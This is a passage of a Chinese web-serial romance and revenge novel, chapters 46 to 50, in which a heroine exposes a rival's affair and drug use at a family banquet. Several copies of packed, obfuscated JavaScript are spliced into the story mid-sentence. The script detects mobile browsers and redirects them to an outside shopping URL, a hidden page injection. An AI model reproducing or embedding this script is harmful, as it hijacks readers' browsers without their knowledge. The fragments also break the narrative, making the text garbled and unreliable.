司承德顿了顿,自从南诗奕死后,苏菱也是郁郁寡欢,像今天这般轻松随和,确实是这几年来的第一次。他也不想扰了苏菱的兴致,原本有些发沉的脸色也缓和了一些。 “你高兴就好。” 江淮之没有等舞蹈结束,把胳膊从舒羽手中抽出来,转身就要离开。 “阿……江总,你这是去哪里?”舒羽的手里一空,即将脱口而出的称呼在被江淮之冷冰冰的瞥了一眼后又咽回了肚子里。 “你在这,我一会就回来。” 江淮之低声丢下这句话后,头也不回的朝外走。他并没有直接离开宴会厅,绕了一下路,找到了宴会厅的配电箱。 操作了一下,上锁的门就这样被他打开了,江淮之眯着眼睛看了一会,然后轻轻的拉下了几个开关。 一瞬间,宴会厅所有亮着的灯尽数熄灭。 江淮之摸出手机,给一直藏在宴会厅里的谢铭打去了一个电话。 “好好跟着少夫人,就算是她杀人了,也要帮她把痕迹都清理干净。” “是。” 打火机的声音响了一声,一簇火苗亮了起来,照亮了江淮之的那张脸。 他微微扭头,看向了某一处角落,唇边轻蔑的挑起一抹弧度,轻轻的笑出声。 躲在那里的男人喉间一紧,立马就确定江淮之知道了姜梨的计划,甚至有可能已经知道他是谁了! 好警觉的男人。 确认江淮之并没有要追查他的意图,男人立刻迈着腿离开了这片是非之地。 第46章 小狐狸闯什么祸了 宴会厅内陷入了一片黑暗,这一变故让人群中发出一声惊呼。 姜梨的心也颤了一下,不是说只破坏监控吗?他这是直接把电源总闸给切断了吗? 叶辞下意识的就想去牵姜梨,却牵了个空。 已经有人摸出手机开了电筒,叶辞这才发现姜梨早就已经不见了踪影。 突然断电,是姜梨安排的。 叶辞猜到了姜梨是要去录像室,正当他想跟上去的时候,却被结伴而来的两个女人缠住了。 姜梨猫着腰,借着大家手机发出的光,跌跌撞撞绕过人群跑到了二楼。 灯光透过透明的玻璃门洒出来,录像室还亮着灯。 楼下大厅的黑暗不会持续太久,姜梨快速将u盘插到了录像室摆放的电脑上,将里面的照片和视频拷贝了出来,她快速的滑动着鼠标,敲了几下键盘,心跳的越来越快。 基本操作流程已经走完了,再设定一下投影时间就可以了! 姜梨为了防止出现意外,特意给自己留出来了一大段足够多的时间,让她可以回到楼下的大厅,免得遭人怀疑。 楼下不知道是谁注意到了录像室亮起的微光,她正要悄悄上楼查看时,不知道是谁突然喊了一声:“谁在里面!” 姜梨的脸色大变,糟了!有人要上来了! 她点击了一下确定,然后快速的拔掉u盘,的离开了录像室,往走廊尽头跑。 听着脚步声越来越近,姜梨找不到躲藏的地方,一股寒意从尾椎骨窜上了脊背,额头都沁上了一层冷汗。 怎么办?怎么办?! 这时,旁边的一扇门突然被打开,一只手用力扯着她的手腕,将她拉了进去。 “唔!”一只手掌捂住了她的嘴巴,黑暗的环境里姜梨看不清他的长相,只能借着从窗外洒进来的月光,看着那一双没有聚焦的眸子。 这样的眼神,姜梨是再熟悉不过了。这个男人………他的眼睛看不见,是个瞎子。 不对,如果是个瞎子,打开门怎么会看见她?还把她拉了进来? “嘘!”男人竖起食指抵在了唇边,声音压的极低,“这里不隔音。” 姜梨受不了陌生人这样近距离的触碰,立马用力推开他。 男人对她的这个动作有些始料不及,身体倒在了身后的沙发里,闷哼了一声。 “你对救命恩人就是这样的态度?” 姜梨吞咽了一下口水,没有立即出声,而是伸出指尖慢慢的试探性戳向他的眼球,想确认一下他是不是真的看不见。 见他没有丝毫反应,姜梨才微微松了口气。他看不见就说明并不知道她是谁,姜梨低头看了一眼手心里的u盘,眼里闪过一丝狡黠。 悄悄的把手里的东西,放进了男人的裤子口袋里,然后开始装哑巴。 安静到诡异的房间里突然传出一声笑。 司南泽直起身体,空洞的眼神盯着一处方向,“怕我会说出去,不想让我知道你是谁,所以在我这个瞎子面前装哑巴?” “那如果今天我要是不瞎,你该怎么办呢?” 可问题是,她今天就是运气不错,就是偏偏遇到了一个瞎子。 她从出生到现在都没有被神明眷顾过,唯独今天,是神明第一次站在她这边。 或许是老天都看不下去司家和陆家对南诗奕做过的恶行了,所以会这么帮她,送这些人下地狱。 姜梨抿唇不语,小心翼翼走到门边,仔细的听着外面的动静。 她今天穿的这一身,并不适合翻窗。轻则崴脚摔个狗啃泥,重则半身不遂。只能等外面的人走了,她才能出去。 门外。 傅绾走到录像室,看到里面站着的人时愣了一下,“陆临少爷?” 陆临对着她笑了笑,“傅小姐,什么事跑得这么急?” “哦,我看录像室的灯还亮着,还以为是有坏人进来了,就上来看看。”傅绾今天喝了些许酒,有些晕乎乎的,但也不至于失智。 陆临是陆家人,出现在这里是最正常不过的事情了,傅绾晃了晃脑袋,对着陆临笑了笑,然后道:“既然没什么事,我就先下去了。” 说完她不再停留,拿着手机打着电筒,消失在了走廊的拐角处。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293835|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 录像室的窗户大开,冷风不断的吹进来,陆临走上前关上了窗户。看着连接了投影仪的电脑,阴森森的笑了一声。 今天这个录像室,还真是热闹非凡。 看来他那个疯姐姐和司南赫,得罪的人还真是不少,所以一个个迫不及待的都想放火烧死他们。 尤其是那个姜二小姐放在电脑上的东西。 不论是东西还是做出来的事情,都和她这个人一样有趣。 怪不得被这么多人惦记。 听到外面的声音逐渐消失,姜梨的心才落进了肚子里。 “喂。”在她开门要出去的时候,男人对她说了一句:“我叫司南泽。” 司南泽?姜梨的眼睛微微眯了眯,司家的四少爷不是说是因为能力不如其他三人出众,才一直不受待见,然后没有出现在世人的面前的吗? 实在是没想到,他居然是一个瞎子? 江淮之已经被姜梨排除在外了,司南赫这个人不管是跟沈家还是和姜氏都没有任何来往姜梨也把他排除在外了。这个司南泽,现在也可以被排出去了。 一套排除法下来,司家除了司南衍就没有其他人了。 和沈叙一起害死姜祈安的凶手,一直充当沈家运毒背后保护伞的人,是司南衍……? 江淮之突然把他调到江城,是不是发现了什么?他是不是知道什么? 墙上挂着的钟表在转动,滴答声清晰的传进姜梨的耳朵里,她晃了晃脑袋,现在不是想这个的时候,她必须赶紧下去! 姜梨快速的拉开门走了出去,然后轻轻的关上门。小心翼翼摸着墙,顺着墙根走到另一边的楼梯口,猫着腰下了楼。 房间里温度降了下来,司南泽在自己的裤子口袋里摸出来那枚u盘,失神的眼睛弯了起来。 她是一个很聪明的女人。 “嘶——” 姜梨刚走下最后一阶台阶,就和一个人撞在了一起,脚下一软就要摔倒,被一只手牢牢的扶住了胳膊。 她还没回过神,头顶就响起来一道戏谑的声音,“小狐狸闯什么祸了,逃的这么着急?” 第47章 招人喜欢 熟悉的声音让姜梨的眼睫轻颤了一下,眼神里都是不可置信,是江淮之! “嗯?怎么这次不翻窗,不跳楼了?怎么不拿枪了?你上一次在‘祈愿‘不是很厉害吗?今天知道害怕了?”这些他之前没有质问过她的问题,他现在带着答案抛了出来。 江淮之扶着她胳膊的手松开,往下移动,揽住了她的腰。 强烈的气息扑面而来,他的动作莫名有些蛮横,力道也很大。 姜梨的脑子里一瞬间就想到,他应该也会这么去揽舒羽。眉毛蹙起,伸出手推他,“你放开我!” 可以让叶辞亲密的揽着她的肩膀,却不愿意让他碰哪怕一下。 她就这么喜欢叶辞? 黑暗里,江淮之的眼神一点一点沉了下来,抬手掐住了姜梨的下颚,低头要亲上去。姜梨提前预判了他的动作,一只手挡住唇瓣,“会被别人看到,口红也会花掉!” 江淮之的喉结上下滚了一下,“害怕?” 姜梨点头,何止是怕?她怕死了好吗! 宴会厅里人这么多,不管是谁都有可能会经过这里,而且………电力随时都会恢复,她要马上回去! “你刚刚下来的时候,难道就没有想过检查一下身上是不是少了一样东西吗?还有你的作案工具,有没有处理掉?”江淮之伸出食指,轻轻的碰了一下她晃动的耳坠,“姜祈安在天上看着,估计都被你气得想要下来打醒你。” 他这么一说完,姜梨才感觉到哪里不对劲。抬起手摸向右边的耳垂,那里已经空荡荡了。 耳坠掉了一个!掉在哪里了?司南泽那里?还是录像室里? 都已经过去这么久了,刚刚录像室又有人来过,很有可能已经被人捡走了! 傅绾还是陆临? 江淮之也知道不能在这待太久,松开掐着她下颚的手,从西装裤的口袋里摸出来那只耳坠,耳针穿过耳洞,挂在了耳垂上。 “是你捡到了?你在哪捡到的?” 江淮之没有回答她,而是问她,“你那个u盘呢?给我。” 姜梨一时间有些发愣,给他?给他做什么?不对不对,江淮之怎么知道她会有u盘? “快一点,一会灯就会亮。” “u盘我处理掉了。”姜梨抿了一下嘴唇,没有隐瞒,“我刚刚躲隔壁的房间里了,遇上了司南泽,我偷偷把u盘放在他身上了。” 黑暗中,江淮之眸子微微眯了眯,司南泽眼睛看不见,他不好好的待在休息区的客房里,来这? “一会结束了回秋水湾等我。”过了十几秒,江淮之才出声,“我尽量早点回去,尽量不让你等太久。” 今天不是周五周六,她明天上午还是满课。 “我明天下午再……” 姜梨话还没说完,就被江淮之打断了,“姜二梨,还有很多事情没有解释清楚,我一天都不想再等,只能辛苦一下你了。而且………” 江淮之眼帘低垂,嗓音喑哑,“姜二梨,我很想你。” 姜梨的呼吸停了一下,心里像是被撒了一把跳跳糖,脸上的温度骤然升高,开始发烫。 不能再这样跟他待下去了!误事! 反应过来,姜梨用力推开江淮之,头也不回的往走廊尽头的宴会大厅的方向跑。 江淮之看着她仓皇的背影,无奈摇头。 胆子忽大忽小的,在兔子和狐狸两种动物角色之间来回切换。 傻女。 - 姜梨回到大厅,猝不及防被手机电筒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293836|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光闪了一下,微微眯了眯眼。 叶辞第一时间站到了她旁边,低声询问她,“解决好了吗?” “嗯。”姜梨应了一声,“对了,刚刚和你一起发出声音提醒我有人上去的人是谁?” 虽然刚刚姜梨很慌张,但是还是清晰的记得傅绾上楼的时候,提醒她的除了叶辞还有另外一个人,声音很熟悉,那个人她肯定认识。 叶辞的表情有些晦涩不明,“是楚卿然。” 姜梨顿了一下,眼底划过一丝暗色,“你别是看错了吧?楚卿然是楚家的,他们那一大家子都巴不得我赶紧死,怎么可能会帮我?” 她的话音刚落下,厅内的各种水晶吊灯和灯带就亮了起来。 随着舒缓优雅的音乐声再度响起,陷入短暂黑暗的紧张感也跟着消退。 “楚卿然比楚家其他人稍微像个人样………嗯?”叶辞看她的眼神愣了一下,抬起手就往她脑门上探,“你的脸怎么这么红?发烧了?” “………” 记忆被强行灌进脑子里,江淮之说的那句“我很想你”在她耳边不断重复,挥之不去。 嘶—— 不能想,起码现在不能想。 姜梨摇摇头,拨开他的手,不着痕迹的躲开。 这时,陆诗予手里拿着一杯香槟走到了姜梨的面前,语气带着不易察觉的冷,“姜小姐。” 这么近的距离下,陆诗予的这张脸确实跟南诗奕非常像,如果姜梨不认识南诗奕,真的会以为她们两个是亲姐妹。 姜梨垂在身侧的手捏成了拳头,想到陆诗予对南诗奕做的腌臢事,她恨不得现在就把她撕成两半 。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第48章 修罗场 姜梨看到突然出现的陆临,也一点都不心虚。她淡淡的扫了他一眼,然后又看向陆诗予,“先说疯话的不是你吗?” “明里暗里都在说我和叶辞是费尽心机的得到这条礼裙,这到底跟你有什么关系?”姜梨抬起手指了指太阳穴,满脸都写着无语,语气带着浓浓的嘲弄,“因为一件衣服就急得跳脚,我看你是脑子里进水了。” 好一个牙尖嘴利的女人! 陆诗予的脸被她这番话气得涨红,透过脸上一层薄薄的粉底液透了出来。 她是陆家唯一的千金,在樱洲哪里敢有人这么对她说过话?!姜梨算什么东西! 陆诗予看着姜梨,愈发觉得她跟南诗奕那个贱人一模一样,都是这样的牙尖嘴利,都是这样的不知天高地厚! 她抬起手就想往姜梨脸上招呼,刚有一点细微的动作,就被陆临摁了下去。 “今天是爷爷的寿宴,姐姐要是想发疯,现在就可以回家了。”陆临压低声音,用只有两个人能听到的声音在她耳边说道:“她是姜梨,不是南诗奕。一个叶辞都是你招惹不起的人,更不要说是江淮之了,到时候丢的是陆家的脸,爷爷和二哥都会不高兴的。” 他的语气明明是在温和的提醒,但是眼里的威胁和警告却也不加掩饰。 陆诗予把手抽出来,剜了陆临一眼。 一个姜梨而已,她算什么东西?她打就打了,江淮之还能为了这么个连养妹都算不上的人来跟陆家翻脸吗? 南诗奕当时还是司家名正言顺的二小姐,她不也是照打不误。 两个人的小动作都被姜梨和叶辞看在眼里,叶辞知道陆诗予是个疯子,赶紧拉着姜梨退了好几步,和他们拉开了一点距离。 陆临对任何事情都是事不关己的态度,以前也没见他这么顾及过陆家的颜面,今天明摆着就是在护着姜梨。 “呵。”陆诗予若无其事笑了一下,好似刚刚要打人的那个人不是她,声音柔和,“姜小姐可能不太清楚,这件礼服和发簪都是从死人身上扒下来的,不太吉利。” “我只是想提醒姜小姐。”陆诗予的笑意更浓,眼里划过一丝阴狠,一字一句道:“穿了死人的衣服,以后一定要注意安全。” 怎么?威胁她?想要在暗地里做掉她吗? 还一口一句死人的叫着,姜梨越看陆诗予越觉得她可恶,那张面容姣好的脸也越看越恶心。 “我既没有谋过财,也没有害过命,阎王殿里的人不会来请我。”姜梨的眼睛上下打量着她,笑意盈盈,“倒是陆小姐,也不知道你干过多少亏心事,你才是应该要注意安全的人。” 陆诗予的心“咯噔”一下,刚刚涨红的脸一下子白了下来,脸上的笑强撑不下去了,表情像是吞了一只苍蝇,比哭都难看。 “你胡说什么!” 姜梨和叶辞站在一起本来就够引人注意的了,现在再加上陆临和陆诗予,再加上她吼得这一嗓子,一下子引过来不少的宾客。 这就是所谓的疯批?姜梨还以为有多厉害,就这啊? 她还没说什么呢,陆诗予就已经被吓的要破音了,说她是疯批,简直就是在侮辱真正的疯批。 “对对对,我和你一样都是在胡说。”姜梨点点头,唇角的弧度越来越放肆,“所以我不跟你急,你也别跟我急。” “你!” 姜梨无辜的眨了眨眼,“陆小姐,不是你先跟我开玩笑的吗?我觉得很好笑,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293837|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跟你开了一个同样的玩笑,你怎么还生气了呢?” 姜梨这是在暗讽她说的那些话都是笑话?!她算什么东西! 陆诗予被姜梨气得胸口都在不断起伏,努力的压制着心里窜起来的那簇火苗,才没有冲上去把姜梨这个贱女人撕烂。 司南赫这时走了过来,看了一下陆诗予,又看了一眼姜梨,眼神暗了暗。 他没有说话,拉着陆诗予的手腕把人拖走。 “听说,今天司家和陆家会宣布订婚的消息,看来是真的。” “迟早的事啦,之前要不是因为司家那个养女在里面掺和,早就已经结婚了,哪里能拖到现在才订婚。” “嘘嘘——别再说了………” 姜梨听着这些窃窃私语的话,眼睛盯着司南赫和陆诗予的背影,冷笑了一下。 订婚,想都不要想。 南诗奕死了,活着的恶人都别想要好过。 “牙尖嘴利的妹妹仔,把人气跑咯~”吊儿郎当的声音骤然响起,姜梨一怔,扭头看着走过来的几个人,想死的心都有了。 沈叙有些意外的看了一下谢鹤扬,“你们认识?” “何止认识。” “不认识。” 异口同声给出截然不同的答案,几个人的视线齐刷刷的移到了姜梨身上,最让人难以忽视的一道视线,属于江淮之。 舒羽安静的站在他身边,亲昵的挽着他的胳膊,而江淮之则是一脸淡然。 明明刚刚还在跟她调情,现在又是这一副“我跟你不熟”的高冷模样,若无其事的带着他的女伴站在她面前。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第49章 她没有心 正在跟人谈话的楚卿然注意到了落单的姜梨,眼底闪了闪,对着前来寒暄的人颔首说了一声失陪,便朝着她走了过去。 这个角落很安静,楚卿然自然的走到她旁边,压低声音问她:“报警了吗?” 姜梨看他就这样光明正大的走过来,心慌了一下,“报了,叶止大哥会卡好时间上来抓人,你别和我走这么近,楚云和沈叙两兄弟都在现场,会被看到。” 楚卿然斜着看了她一眼,“你越是这样就越容易被人察觉到猫腻。阿妹,我当卧底这么久,是有分寸的。” “倒是你。你是楚云的女儿,姜祈安的亲妹妹,如果表现的过于聪明,沈叙是绝对不会留下你的。” 这样的话,江淮之也跟她说过。 姜梨垂下眼帘,“我明白。” “你明白?”楚卿然轻笑了一下,语气里带着一点责怪意味,“你要是真的明白的话,今天就不会做出这样的事了。” 姜梨的余光看到了走过来的沈叙,她眼神微沉,疾言厉色道:“那都是几百年前的事情了,你还要来讨伐我,不觉得有点太过分了吗?” “我可不是来讨伐你。”楚卿然也自然的接住了她的戏,和煦的表情也变得冷淡下来,说话的语气尖酸刻薄,“我只是来看看,你这种忤逆长辈,谋害亲眷的人什么时候能去死。” 姜梨不知想到了什么,唇边泛起一抹讽笑,“楚云和沈月汐都还没有死,你们楚家人也都还没有死,我死什么?” 楚卿然冷然,“姜祈安死了,你难受吗?” 见姜梨不说话,楚卿然勾了勾唇,“难受的话你求求我,我高兴了就送你下去陪他,不让你受楚家的荼毒,你们兄妹在阴曹地府没准还能见到你们的那个废柴老豆………” 他的话音还没落,姜梨就已经一巴掌打在了他脸上,“啪”的一声脆响。 好在姜梨收住了力道,声音不大,他们这一方角落又不引人注意,并没有吸引到别人的视线。 楚卿然的侧脸浮现出一层浅浅的红,他的表情在这一瞬阴冷下来,眼神都变得无比阴毒,像是吐着信子的蛇。 姜梨被他这个眼神吓得魂都要飞离出身体,双唇和扬着的手都在发颤。也不知道是吓得还是气的,她的眼里染上了一层水雾,眼圈发红,好不可怜。 “卿然。”沈叙三两步走到楚卿然的身边,看了一眼姜梨,“妹妹不懂事,不要跟她计较。” 楚卿然眼睛微眯,丝毫不买沈叙的账,“你再多说一个字,我连你一起计较。” 哇哦,好凶哦。 姜梨在心里给楚卿然竖起了拇指,楚卿然的演技一直都很过关。不过,因为沈叙突然过来他才挨了这一巴掌,他现在可能真的在生气。 沈叙也能感觉到,楚卿然的火气很大。 他这是吃枪药了吗? “楚先生,何必咁劳气?”谢鹤扬走了过来,挡在了姜梨前面,“你如果唔说难听话,就唔会挨打嘞,抵你。” (楚先生,何必这么动怒?你如果说话不这么难听也不会挨打了,你活该。) 楚卿然轻飘飘的扫了一眼谢鹤扬,一声不吭转身就走。 沈叙问了一个跟沈翊一样的问题,“你们认识?” 姜梨没说话,还是一副被吓懵了的样子。 谢鹤扬张口想说粤语,想到沈叙是北城人,又改回了普通话,开始胡说八道,“她以前误打误撞从小混混手里救了我嫂子,我对姜梨一见钟情,但是她一直不搭理我。” 沈叙的语气不温不火,也不知道是信了还是没信,“原来你们还有这么一段渊源。” 谢鹤扬不想跟他耗,他跟沈叙这种人没什么可说的,一把拽住姜梨把她拖走。 “得,人都走咗就唔好扮晒。”谢鹤扬看着她这副委屈巴巴快要哭出来的样子,扯了扯嘴角,“你都够胆开枪住杀人,就唔好喺我呢扮小白兔嘞。” “楚卿然那个眼神像要杀了我似的,我魂都要飞走了,哪里有装?”姜梨说完突然收起了委屈巴巴的表情,恨恨的瞪着他,“还有,开枪那次是为什么你不比我清楚吗?我要是不逼着自己开枪杀人,我们两个早就去阎王殿报道了,你还能站在这说我装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293838|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白兔?” 看她真的急眼了,谢鹤扬一连说了三个好,“你没装,没装。” “你跟江淮之说什么了?” 姜梨还没忘记这回事,刚刚停电的时候,江淮之也说了有些事要说清楚,这个狗男人肯定要来问她和谢鹤扬到底是什么情况。 现在肯定要问清楚,免得被江淮之抓到小辫子。 “哦,我就跟他说以后要登门提亲娶你啊。” 姜梨听完,觉得自己的脑子都要抽了,满脸都写着惊悚,“不是,你有病吧!” “怎么?江淮之的那个隐婚对象真去看管你了?”谢鹤扬的好奇心升了起来,凑近了姜梨一些,低声问她:“还有,他那个隐婚对象到底是谁啊?是你们北城哪家的小姐?我看看我认不认识。” 姜梨继续胡说八道:“我要是告诉你了,江淮之非得骂死我,不能说。” 她的眼神和表情都有些不自然,谢鹤扬只当她是心里不舒服,毕竟刚 刚看舒羽和江淮之挽着胳膊她都不高兴。 “不是,江淮之都已经结婚了,他不仅和自己的助理不清不楚,又再和傅家谈联姻。”谢鹤扬指了一下她的眼睛,“就这样的咸湿佬,你还喜欢?你的眼光有问题吧?还有他那个妻子也是个有毛病的,这样的男人留着干嘛?” 眼光有问题的是她,有毛病的妻子也是她。 姜梨无语凝噎,沉默了好一会,继续问他,“你还和江淮之说什么了?我给你挡枪的事情你说了吗?” “说了一半,具体原因没说。”谢鹤扬挑眉,“你又不是真的拿他当哥哥,这么怕他干什么?” 整得跟在面对姜祈安似的。 “那我意识不清,一直喊名字表白的事你没给我抖出来吧?” 谢鹤扬淡声回答:“没有。” 姜梨这才松了口气,这件事没说就好。 谢鹤扬抬手敲了一下她的脑门,“我没有受虐倾向,做不出来跑去跟我的情敌说我喜欢的人有多喜欢你这种事情,我又不像你。” “是个没有心的人。” 第50章 你跟南诗奕是什么关系 宴会此时已经进行到了切蛋糕的环节,宾客纷纷聚集在一起。 知道有大戏可以看的几个人不约而同的站在了离荧幕最近的位置,姜梨看着台上站着的陆诗予,应该是被司南赫给哄好了,哪里还有刚才气急败坏的样子,笑得跟朵花一样。 笑吧,马上她就笑不出来了。 光是吸食违禁品这一点,陆家也根本就保不住她,还想踩着南诗奕的尸体去跟司南赫订婚,她还是赶紧去死吧。 陆家老爷子也趁着这个机会,开始宣布司南赫和陆诗予订婚的事,“他们两个年少就相识,两年前因为一场意外才把婚事拖到了现在,今天是我的七十岁大寿,是个好日子………” 就在这个时候,大荧幕突然亮了起来,一段有声视频播放了出来。 姜梨的唇角不受控制的扬了起来,好戏开场了! “这………这不是司家老爷和陆诗予吗?!” 随着画面“渐入佳境”,宾客们的表情满是震惊,心理接受能力不好的人,已经捂着嘴开始干呕起来。 台上的陆诗予看着屏幕上的画面,瞬间开始失声尖叫起来,“这是什么东西!快关掉关掉!” “我的天!太恶心了吧!” “司南赫和陆诗予都要订婚了,司老爷怎么说也是她的爷爷,怎么会干出这种事?” “爸!救护车!叫救护车!”司老爷被气得印堂发红,身体不稳的往后倒,司承德赶紧扶住他,看向已经呆滞的司南衍还有一副事不关己的江淮之,冲着他们喊:“你们还愣着干什么!赶紧把这些乱七八糟的东西关掉啊!” 关掉?怎么关?事情都到这个地步了,关掉有什么用? 听到司承德这句话,看着宴会厅的工作人员往录像室赶的背影,陆临挑起一抹不易察觉的笑。 今天宴会厅里的所有工作人员都已经被他买通了,视频不播完是不会停下来的,在东西没有放完之前,不管你晕了还是死了,都别想离开现场。 果不其然,工作人员进了录像室以后屏幕也没有熄灭。 司老爷子只是被气的呼吸不畅,也并没有晕过去,在场的宾客见江淮之没有动作,谁没敢听司承德的去拨打急救电话。 陆诗予赶紧去抓司南赫的手,“这是有人陷害我!南赫………我可以解释!我可以解………” 司南赫只是冷冷的看着她,默默的把手抽了出来,一言不发。 “是你干的吧。”谢鹤扬站到了姜梨身后,声音很低,语气带着笃定,“怎么?不想让司南赫和这个女的订婚?你这是要把司家的男人都喜欢个遍?” “我眼光还不至于差到要去喜欢歪瓜裂枣。”姜梨无辜的说:“我可不敢在司家和陆家面前造次,我可是很惜命的。” 谢鹤扬看着她背上用来遮挡疤痕的纹身,眼睛弯了弯,“这么惜命还替我挡枪,还说你对我没感觉,你分明就是喜欢我喜欢的连命都不要了。” 怎么办?好想打死他啊。 这段污糟的视频只有三分钟,然后又跳到了下一段视频。 镜头是直拍,几乎是怼在了陆诗予的那张脸上。昏暗的环境里,她躺在一张沙发上,双目失神迷离,脸上挂着极其舒爽的笑。 她的胳膊上还扎着针头。 “嚯!” “瘾君子!” 又是一场轩然大波,陆家千金不仅碰了违禁品,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为我和叶辞从陆四少手里买了礼服和发簪,你刚刚已经来找过我麻烦了,现在还要往我身上泼脏水。”姜梨眼帘低垂着看她,表情恬淡,骂了她一句:“你他妈闲得慌就去死好吗?” “枨鸡婆。” 谢鹤扬看着地上的陆诗予,“好心”的跟她解释了一下枨鸡婆是什么意思,“姜梨这是在说你是泼妇呢。” 姜梨骂她的语气已经算不上平淡了,已经可以用温声细语来形容了,不急躁也不心虚,完全就是置身事外的态度。 就是正常人被冤枉过后的状态。 “我跟陆诗予没有任何恩怨,她嘴里说的那个南诗奕我也不认识。”姜梨掀起眼皮,眼神淡淡的扫过司承德和司南衍,然后是司南赫,最后停在了两个老头身上,“你们司家和陆家别是因为我没爹没妈,没有靠山,就想找我去当这个替罪羊。” 楚云听到她说的这段话,原本不自然的脸色此时更是扭曲。 不少宾客都在她身上扫了一眼,眼神意味深长,尤其是苏菱,眼神里都是对她的鄙夷和不屑。 她是姜梨的亲妈,但是现在姜梨却说自己无父无母。 姜祈安刚死没多久,姜梨就被她带到酒会上陪酒的事情不少人也都知道,利欲熏心之下早就已经没了一个母亲该有的样子。 楚云的手指掐进掌心,在心里把姜梨骂了千万遍。她自己想要给南诗奕报仇,给自己身上惹得一身骚也就算了!还要在这么多人的面前故意让她难堪! 跟她爸爸一样,都是个只会给她拖后腿的废物! 苏菱这时来到了陆诗予的身旁,温柔的扶着她的胳膊,将她从地上拉了起来。 然而还没等陆诗予站稳脚跟,一个响亮的耳光就打在了她脸上,力道大的她嘴角都被打裂了,耳朵里一阵嗡鸣,嘴角渗出来丝丝血迹。 “你这样德行的女人,当初还有脸污蔑我女儿跟你爸爸通奸,还敢指使她身边的佣人把她的药给换掉。”苏菱脸上的温柔消失的无影无踪,取而代之的是浓烈的恨,“陆诗予,你害死阿南,爬上爷爷的床,现在还想跟小赫订婚,你怎么不去死!” 陆诗予被这一巴掌彻底打蒙了,发不出一点声音。 苏菱似是觉得不解气,又连着扇了她好几个响亮的耳光,她自己的手掌都开始发麻。 司承德和司南赫都没有上前阻止,陆诗予的脸很快就肿了起来,两边脸颊上的巴掌印清晰可见。 这时一直藏在宴会厅角落里的一行警察纷纷掏出枪,推开宴会厅的大门,一窝蜂似的涌了进来。 宾客们被吓了一跳,下意识就开始逃窜。 “都别动!”为首的人大声呵斥了一声。 姜梨和叶辞一同看过去,是叶止。 两名警察目标明确的走向陆诗予,给她铐上了冰凉的手铐,用力的押着她,率先带走。 陆老爷是真没想到叶止居然会来抓人,怎么会惊动了叶止? “陆老爷,陆总,请你们配合调查。”刑警大队的队长拿着手铐,满脸严肃的看着陆家这两尊大佛。 陆七没什么表情,极其配合的伸出了双手。 掌权人都起带头作用了,陆家其他人也不敢造次。因陆诗予涉嫌吸毒,只要是陆家的人,哪怕只是一条狗都要被查个遍。旁系的人都战战兢兢,满脸担忧,陆临倒是无比的淡定。 被警察带走的时候他还对姜梨抛了个媚眼。 姜梨都不知道该回他什么表情,外界传的阴狠暴躁她是没看出来,但是她大概知道,这个陆临也不是什么正经的人。 看着被带走的一群浩浩荡荡的人,众人唏嘘不已。上一次在众目睽睽之下因为违禁品被这么带走的,是北城沈家。 那一次是一场误会,但是陆家这次是实打实的铁证,陆诗予吸毒是事实,保不齐还会有别人。一个家族,一旦内部出了毒虫,那么整个企业都可能会完蛋。 陆老爷在被人带走时,给了司老头一个眼神。 让他查录像室,查监控,查今晚在背后搞这些动作的人是谁。 司老爷子刚刚被气得头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 